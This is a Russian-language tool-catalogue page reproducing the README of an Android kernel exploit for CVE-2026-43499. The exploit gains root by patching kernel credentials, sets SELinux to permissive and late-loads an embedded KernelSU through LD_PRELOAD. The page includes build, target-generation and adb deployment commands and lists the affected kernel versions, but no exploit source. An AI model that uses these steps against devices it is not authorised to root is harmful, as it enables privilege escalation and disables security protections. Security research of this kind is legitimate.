Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
asus_i005-CVE-2026-43499 — Эксплойт локального повышения привилегий для Android, использующий CVE-2026-43499, который патчит kernel creds и запускает встроенный KernelSU в режиме late-load через LD_PRELOAD. | Kitploit
Инструменты/GitHubGitHub/huaguiqi/asus_i005-cve-2026-43499
Безопасность AndroidПовышение привилегийЭксплуатацияПост-эксплуатацияМобильная безопасностьРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubhuaguiqi/asus_i005-cve-2026-43499

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

asus_i005-CVE-2026-43499

Эксплойт локального повышения привилегий для Android, использующий CVE-2026-43499, который патчит kernel creds и запускает встроенный KernelSU в режиме late-load через LD_PRELOAD.

Репозиторий
4 ч 11 мин назадЕщё не проверено

CVE-2026-43499-root-KernelSU

Локальное повышение привилегий на основе уязвимости ядра CVE-2026-43499 с интегрированным встроенным KernelSU. Компилирует и генерирует preload.so; после успешной эксплуатации KernelSU будет запущен в режиме late-load (режим джейлбрейка). Поддерживает генерацию target.h из (xbl_config.img / vendor_boot.img) + boot.img. или другим способом

Использованные проекты:

  • Linuxoid-cn/CVE-2026-43499-Poc-Analysis
  • x-spy/CVE-2026-43499-popsicle
  • Colorful-glassblock/duchamp-root

[!IMPORTANT] Несанкционированная эксплуатация уязвимостей для повреждения, компрометации или получения доступа к компьютерным системам запрещена законом. Этот проект предоставляется строго в исследовательских, образовательных и учебных целях и может использоваться только в системах и средах, на которые было получено предварительное разрешение. Любое использование этого проекта осуществляется на риск пользователя. Авторы и участники не несут ответственности за любое неправомерное использование этого проекта или за любой ущерб, потери или юридические последствия, возникшие в результате его использования.

免责声明:未经授权利用漏洞对计算机系统实施破坏、入侵或未授权访问的行为均可能违反相关法律法规。本项目仅限于在已获得合法授权的系统和环境中用于安全研究、学习及测试目的。任何因使用、滥用或修改本项目而导致的直接或间接损失、法律责任及其他后果,均由使用者自行承担,项目作者及贡献者不承担任何责任。

Область влияния

Если ваша версия ядра — {Linux Kernel}, вы попадаете в область влияния данной уязвимости

  • Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

  • 2.6.39 <= {Linux Kernel} < 6.1.175

  • 6.2 <= {Linux Kernel} < 6.6.140

  • 6.7 <= {Linux Kernel} < 6.12.86

  • 6.13 <= {Linux Kernel} < 6.18.27

  • 6.19 <= {Linux Kernel} < 7.0.4

Текущее состояние

TargetСтатус
rodin(по умолчанию)Проверено
Остальные src/targets/*Справочно

Структура каталогов

root@kitploit:~
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # встроенный в preload.so userspace binary KernelSU
├── tools/
│   ├── generate_target.py       # единая точка входа для генерации target.h в этом репозитории
│   └── vendor/                  # исходные вспомогательные скрипты генерации, синхронизированные из родительского каталога
└── src/
    ├── main.c                   # основной процесс exploit
    ├── preload.c                # LD_PRELOAD constructor + запись/запуск ksud
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

Сборка

Зависимости

  • Linux host
  • Android NDK
    • Путь по умолчанию: ~/android-ndk-r29
    • Или задайте: ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOT
  • make
  • git

Сборка

root@kitploit:~
make PROJECT=<target> -j$(nproc)

Вывод:

root@kitploit:~
build/<target>/bin/preload.so

Просмотр доступных target

root@kitploit:~
make list-projects

Генерация target.h

В этом репозитории уже есть единый скрипт генерации target:

root@kitploit:~
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py — это входной скрипт. Он основан на всех процессах генерации target из родительского каталога и инкапсулирует их, а в итоге выводит полный src/targets/<project>/target.h, адаптированный к исходникам этого репозитория.

Скрипт не выполняет принудительную проверку CONFIG_DEBUG_INFO_BTF=y в IKCONFIG. Если смещения полей структур или раскладка percpu entry_task не могут быть проверены, он выводит предупреждение и продолжает генерацию.

Если в образе вообще нет доступного BTF, например появляется:

root@kitploit:~
有效 vmlinux BTF 候选不唯一: []

генератор переходит в fallback без BTF:

  • продолжает восстанавливать смещения символов функций/глобальных объектов из kallsyms текущего boot.img;
  • макросы полей структур/layout, которые невозможно восстановить из BTF, наследуются из шаблонного target, шаблон по умолчанию — rodin;
  • в начале сгенерированного header записывается warning с указанием without BTF и использованного шаблона;
  • такой header гарантированно максимально компилируем, но надёжность работы требует проверки на реальном устройстве.

Можно указать шаблон fallback:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# или
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1. Генерация с использованием boot.img + profile JSON

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

По умолчанию записывается в:

root@kitploit:~
src/targets/<project>/target.h

Можно также вызвать скрипт напрямую:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

profile.json должен содержать информацию о физических адресах, например:

root@kitploit:~
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2. Определение profile с уже рутированного ADB-устройства

Только генерация profile:

root@kitploit:~
make detect-profile PROFILE_OUT=profile.json

Определить profile и сразу сгенерировать target:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3. Генерация из (xbl_config.img / vendor_boot.img) + boot.img

Скрипт также предоставляет другие точки входа, поддерживаемые генератором из родительского каталога:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Пример
root@kitploit:~
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

Форма успешного вывода:

root@kitploit:~
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

rodin по умолчанию сохраняет проверенное на реальном устройстве:

root@kitploit:~
#define MM_STRUCT_SZ 0x500

Если нужно переопределить:

root@kitploit:~
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

Добавление нового target

Рекомендуется генерировать из соответствующего boot image и profile:

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

Полный target header будет содержать:

  • константы direct map / physical profile
  • смещения объектов KASLR slide
  • смещения task / cred / SELinux
  • смещения pipe / fops / configfs
  • значения layout pselect, например PSELECT_WAITER_WORD_SHIFT
  • MM_STRUCT_SZ и параметры настройки KernelSnitch

Запуск

В текущий исходный код уже записаны значения по умолчанию, для нормального запуска достаточно задать LD_PRELOAD и выполнить любую программу (рекомендуется toybox id).

root@kitploit:~
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Параметры запуска по умолчанию

Текущая конфигурация по умолчанию следующая:

Фактически выполняемая по умолчанию команда ksud:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Эти переменные окружения по-прежнему можно переопределить во время выполнения, например:

root@kitploit:~
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Повторное использование уже записанного ksud:

root@kitploit:~
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Очистка

root@kitploit:~
make clean

make clean сохраняет build/embed/ksud, поскольку src/ksud_blob.S встраивает его следующим образом:

root@kitploit:~
.incbin "build/embed/ksud"

Если при ручной очистке build/embed/ksud был потерян, его можно восстановить:

root@kitploit:~
git checkout -- build/embed/ksud

Частые вопросы

.incbin "build/embed/ksud" not found

Восстановите встроенный payload и пересоберите:

root@kitploit:~
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

FOPS route возвращает success=0

rodin ожидает использования legacy/simple pselect layout:

root@kitploit:~
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

Если состояние устройства загрязнено неудачными попытками, просто перезагрузитесь и попробуйте снова:

root@kitploit:~
adb reboot

F_SETPIPE_SZ возвращает EPERM

Обычно это проблема состояния, вызванная неудачными/остаточными попытками; перезагрузка — самый быстрый способ очистки:

root@kitploit:~
adb reboot

ksud запускается, но в /proc/modules нет KernelSU

Проверьте логи:

root@kitploit:~
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

При необходимости запустите вручную в root shell:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

License

GPL-3.0. See LICENSE.

Скачать инструмент
НастройкаЗначение по умолчаниюОписание
KSUD_LATE_LOAD1Выполнить ksud late-load
KSUD_ALLOW_SHELL1Передать --allow-shell
KSUD_PACKAGEme.weishu.kernelsuИмя пакета менеджера, передаваемое в ksud (похоже, не работает)
KSUD_DST/data/local/tmp/ksudПуть записи встроенного ksud
KSUD_SKIP_WRITE0По умолчанию записывать встроенный ksud
KSUD_DEFER_TO_PARENT1Запускать ksud из уже пропатченного родительского/текущего процесса
ROOT_PATCH_SELF1Пропатчить текущий процесс до uid 0
DISABLE_SELINUX1При root patch записать SELinux enforcing как permissive
ROOT_EXIT_SLEEPunset / 0Не делать дополнительный sleep перед возвратом